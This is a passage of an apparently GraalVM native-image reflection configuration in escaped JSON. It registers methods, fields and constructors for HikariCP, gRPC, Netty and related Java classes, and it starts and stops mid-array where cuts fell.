{\"name\":\"getConnectionInitSql\",\"parameterTypes\":[] }, {\"name\":\"getConnectionTestQuery\",\"parameterTypes\":[] }, {\"name\":\"getConnectionTimeout\",\"parameterTypes\":[] }, {\"name\":\"getDataSource\",\"parameterTypes\":[] }, {\"name\":\"getDataSourceClassName\",\"parameterTypes\":[] }, {\"name\":\"getDataSourceJNDI\",\"parameterTypes\":[] }, {\"name\":\"getDataSourceProperties\",\"parameterTypes\":[] }, {\"name\":\"getDriverClassName\",\"parameterTypes\":[] }, {\"name\":\"getExceptionOverrideClassName\",\"parameterTypes\":[] }, {\"name\":\"getHealthCheckProperties\",\"parameterTypes\":[] }, {\"name\":\"getHealthCheckRegistry\",\"parameterTypes\":[] }, {\"name\":\"getIdleTimeout\",\"parameterTypes\":[] }, {\"name\":\"getInitializationFailTimeout\",\"parameterTypes\":[] }, {\"name\":\"getJdbcUrl\",\"parameterTypes\":[] }, {\"name\":\"getKeepaliveTime\",\"parameterTypes\":[] }, {\"name\":\"getLeakDetectionThreshold\",\"parameterTypes\":[] }, {\"name\":\"getMaxLifetime\",\"parameterTypes\":[] }, {\"name\":\"getMaximumPoolSize\",\"parameterTypes\":[] }, {\"name\":\"getMetricRegistry\",\"parameterTypes\":[] }, {\"name\":\"getMetricsTrackerFactory\",\"parameterTypes\":[] }, {\"name\":\"getMinimumIdle\",\"parameterTypes\":[] }, {\"name\":\"getPassword\",\"parameterTypes\":[] }, {\"name\":\"getPoolName\",\"parameterTypes\":[] }, {\"name\":\"getScheduledExecutor\",\"parameterTypes\":[] }, {\"name\":\"getSchema\",\"parameterTypes\":[] }, {\"name\":\"getThreadFactory\",\"parameterTypes\":[] }, {\"name\":\"getTransactionIsolation\",\"parameterTypes\":[] }, {\"name\":\"getUsername\",\"parameterTypes\":[] }, {\"name\":\"getValidationTimeout\",\"parameterTypes\":[] }, {\"name\":\"isAllowPoolSuspension\",\"parameterTypes\":[] }, {\"name\":\"isAutoCommit\",\"parameterTypes\":[] }, {\"name\":\"isIsolateInternalQueries\",\"parameterTypes\":[] }, {\"name\":\"isReadOnly\",\"parameterTypes\":[] }, {\"name\":\"isRegisterMbeans\",\"parameterTypes\":[] }, {\"name\":\"setAllowPoolSuspension\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setAutoCommit\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setCatalog\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setConnectionInitSql\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setConnectionTestQuery\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setConnectionTimeout\",\"parameterTypes\":[\"long\"] }, {\"name\":\"setDataSource\",\"parameterTypes\":[\"javax.sql.DataSource\"] }, {\"name\":\"setDataSourceClassName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setDataSourceJNDI\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setDataSourceProperties\",\"parameterTypes\":[\"java.util.Properties\"] }, {\"name\":\"setDriverClassName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setExceptionOverrideClassName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setHealthCheckProperties\",\"parameterTypes\":[\"java.util.Properties\"] }, {\"name\":\"setIdleTimeout\",\"parameterTypes\":[\"long\"] }, {\"name\":\"setInitializationFailTimeout\",\"parameterTypes\":[\"long\"] }, {\"name\":\"setIsolateInternalQueries\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setJdbcUrl\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setKeepaliveTime\",\"parameterTypes\":[\"long\"] }, {\"name\":\"setLeakDetectionThreshold\",\"parameterTypes\":[\"long\"] }, {\"name\":\"setMaxLifetime\",\"parameterTypes\":[\"long\"] }, {\"name\":\"setMaximumPoolSize\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setMinimumIdle\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setPassword\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setPoolName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setReadOnly\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setRegisterMbeans\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setScheduledExecutor\",\"parameterTypes\":[\"java.util.concurrent.ScheduledExecutorService\"] }, {\"name\":\"setSchema\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setThreadFactory\",\"parameterTypes\":[\"java.util.concurrent.ThreadFactory\"] }, {\"name\":\"setTransactionIsolation\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setUsername\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setValidationTimeout\",\"parameterTypes\":[\"long\"] }, {\"name\":\"validate\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.zaxxer.hikari.HikariConfigMXBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.zaxxer.hikari.HikariDataSource\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getConnection\",\"parameterTypes\":[] }, {\"name\":\"getConnection\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"getLogWriter\",\"parameterTypes\":[] }, {\"name\":\"getLoginTimeout\",\"parameterTypes\":[] }, {\"name\":\"getParentLogger\",\"parameterTypes\":[] }, {\"name\":\"isWrapperFor\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"setHealthCheckRegistry\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"setLogWriter\",\"parameterTypes\":[\"java.io.PrintWriter\"] }, {\"name\":\"setLoginTimeout\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setMetricRegistry\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"setMetricsTrackerFactory\",\"parameterTypes\":[\"com.zaxxer.hikari.metrics.MetricsTrackerFactory\"] }, {\"name\":\"toString\",\"parameterTypes\":[] }, {\"name\":\"unwrap\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.zaxxer.hikari.HikariPoolMXBean\"\n},\n{\n  \"name\":\"com.zaxxer.hikari.metrics.MetricsTrackerFactory\"\n},\n{\n  \"name\":\"com.zaxxer.hikari.pool.HikariProxyConnection\",\n  \"allDeclaredMethods\":true,\n  \"allDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.zaxxer.hikari.pool.PoolBase\",\n  \"fields\":[{\"name\":\"catalog\"}]\n},\n{\n  \"name\":\"com.zaxxer.hikari.pool.PoolEntry\",\n  \"fields\":[{\"name\":\"state\"}]\n},\n{\n  \"name\":\"double\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"freemarker.template.Configuration\"\n},\n{\n  \"name\":\"graphql.GraphQL\"\n},\n{\n  \"name\":\"groovy.lang.MetaClass\"\n},\n{\n  \"name\":\"groovy.text.TemplateEngine\"\n},\n{\n  \"name\":\"groovy.text.markup.MarkupTemplateEngine\"\n},\n{\n  \"name\":\"int\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.grpc.BindableService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"postConstruct\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.grpc.ForwardingServerCall$SimpleForwardingServerCall\",\n  \"fields\":[{\"name\":\"delegate\"}]\n},\n{\n  \"name\":\"io.grpc.ServerInterceptor\"\n},\n{\n  \"name\":\"io.grpc.ServerServiceDefinition\"\n},\n{\n  \"name\":\"io.grpc.census.InternalCensusStatsAccessor\"\n},\n{\n  \"name\":\"io.grpc.census.InternalCensusTracingAccessor\"\n},\n{\n  \"name\":\"io.grpc.internal.DnsNameResolverProvider\"\n},\n{\n  \"name\":\"io.grpc.internal.JndiResourceResolverFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.grpc.internal.PickFirstLoadBalancerProvider\"\n},\n{\n  \"name\":\"io.grpc.internal.SerializingExecutor\",\n  \"fields\":[{\"name\":\"runState\"}]\n},\n{\n  \"name\":\"io.grpc.internal.ServerCallImpl\",\n  \"fields\":[{\"name\":\"stream\"}]\n},\n{\n  \"name\":\"io.grpc.netty.NettyChannelProvider\"\n},\n{\n  \"name\":\"io.grpc.netty.UdsNettyChannelProvider\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.AbstractNettyHandler\",\n  \"methods\":[{\"name\":\"channelActive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.NettyChannelBuilder\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler\",\n  \"methods\":[{\"name\":\"channelInactive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"close\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"write\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.NettyServer$1\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.NettyServerBuilder\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.NettyServerHandler\",\n  \"methods\":[{\"name\":\"channelInactive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"close\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"write\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.NettyServerStream\",\n  \"fields\":[{\"name\":\"writeQueue\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.ProtocolNegotiators$GrpcNegotiationHandler\",\n  \"methods\":[{\"name\":\"userEventTriggered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.ProtocolNegotiators$ProtocolNegotiationHandler\",\n  \"methods\":[{\"name\":\"userEventTriggered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.ProtocolNegotiators$ProxyProtocolNegotiationHandler\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.ProtocolNegotiators$WaitUntilActiveHandler\",\n  \"methods\":[{\"name\":\"channelActive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.WriteBufferingAndExceptionHandler\",\n  \"methods\":[{\"name\":\"channelInactive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelRead\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }, {\"name\":\"close\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"connect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] }, {\"name\":\"flush\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"write\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.WriteQueue\",\n  \"fields\":[{\"name\":\"channel\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.bootstrap.ServerBootstrap$1\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.bootstrap.ServerBootstrap$ServerBootstrapAcceptor\",\n  \"methods\":[{\"name\":\"channelRead\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }, {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.buffer.AbstractByteBufAllocator\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.buffer.AbstractPooledDerivedByteBuf\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.buffer.AbstractReferenceCountedByteBuf\",\n  \"fields\":[{\"name\":\"refCnt\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.buffer.ByteBufAllocator\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.buffer.ByteBufUtil\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.buffer.PooledByteBuf\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.buffer.PooledByteBufAllocator\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.buffer.PooledSlicedByteBuf\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.buffer.PooledUnsafeDirectByteBuf\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.buffer.UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeDirectByteBuf\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.buffer.UnpooledDirectByteBuf\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.buffer.UnpooledHeapByteBuf\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.buffer.UnpooledUnsafeDirectByteBuf\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.AbstractChannelHandlerContext\",\n  \"fields\":[{\"name\":\"handlerState\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.ChannelDuplexHandler\",\n  \"methods\":[{\"name\":\"bind\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"close\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"connect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"deregister\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"disconnect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"flush\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"read\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"write\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.ChannelInboundHandlerAdapter\",\n  \"methods\":[{\"name\":\"channelActive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelInactive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelRead\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }, {\"name\":\"channelReadComplete\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelRegistered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelUnregistered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelWritabilityChanged\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] }, {\"name\":\"userEventTriggered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.ChannelInitializer\",\n  \"methods\":[{\"name\":\"channelRegistered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.ChannelOutboundBuffer\",\n  \"fields\":[{\"name\":\"totalPendingSize\"}, {\"name\":\"unwritable\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.DefaultChannelConfig\",\n  \"fields\":[{\"name\":\"autoRead\"}, {\"name\":\"writeBufferWaterMark\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.DefaultChannelPipeline\",\n  \"fields\":[{\"name\":\"estimatorHandle\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.DefaultChannelPipeline$HeadContext\",\n  \"methods\":[{\"name\":\"bind\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"channelActive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelInactive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelRead\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }, {\"name\":\"channelReadComplete\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelRegistered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelUnregistered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelWritabilityChanged\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"close\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"connect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"deregister\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"disconnect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] }, {\"name\":\"flush\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"read\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"userEventTriggered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }, {\"name\":\"write\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.DefaultChannelPipeline$TailContext\",\n  \"methods\":[{\"name\":\"channelActive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelInactive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelRead\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }, {\"name\":\"channelReadComplete\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelRegistered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelUnregistered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelWritabilityChanged\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] }, {\"name\":\"userEventTriggered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.DefaultFileRegion\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.epoll.Epoll\",\n  \"methods\":[{\"name\":\"isAvailable\",\"parameterTypes\":[] }, {\"name\":\"unavailabilityCause\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.epoll.EpollChannelOption\",\n  \"fields\":[{\"name\":\"TCP_USER_TIMEOUT\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.epoll.EpollDomainSocketChannel\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.epoll.EpollEventLoopGroup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"int\",\"java.util.concurrent.ThreadFactory\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.epoll.EpollServerSocketChannel\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.epoll.EpollSocketChannel\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.epoll.NativeDatagramPacketArray$NativeDatagramPacket\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.socket.nio.NioSocketChannel\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.unix.DatagramSocketAddress\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.unix.DomainDatagramSocketAddress\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.unix.FileDescriptor\",\n  \"fields\":[{\"name\":\"state\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.unix.PeerCredentials\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.handler.codec.ByteToMessageDecoder\",\n  \"methods\":[{\"name\":\"channelRead\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }, {\"name\":\"userEventTriggered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.handler.codec.http2.Http2ConnectionHandler\",\n  \"methods\":[{\"name\":\"bind\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"channelReadComplete\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelWritabilityChanged\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"connect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"deregister\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"disconnect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"flush\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"read\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.handler.proxy.HttpProxyHandler\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.handler.proxy.HttpProxyHandler$HttpClientCodecWrapper\",\n  \"methods\":[{\"name\":\"bind\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"channelActive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelInactive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelRead\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }, {\"name\":\"channelReadComplete\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelRegistered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelUnregistered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"channelWritabilityChanged\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, {\"name\":\"close\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"connect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, {\"name\":\"deregister\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, 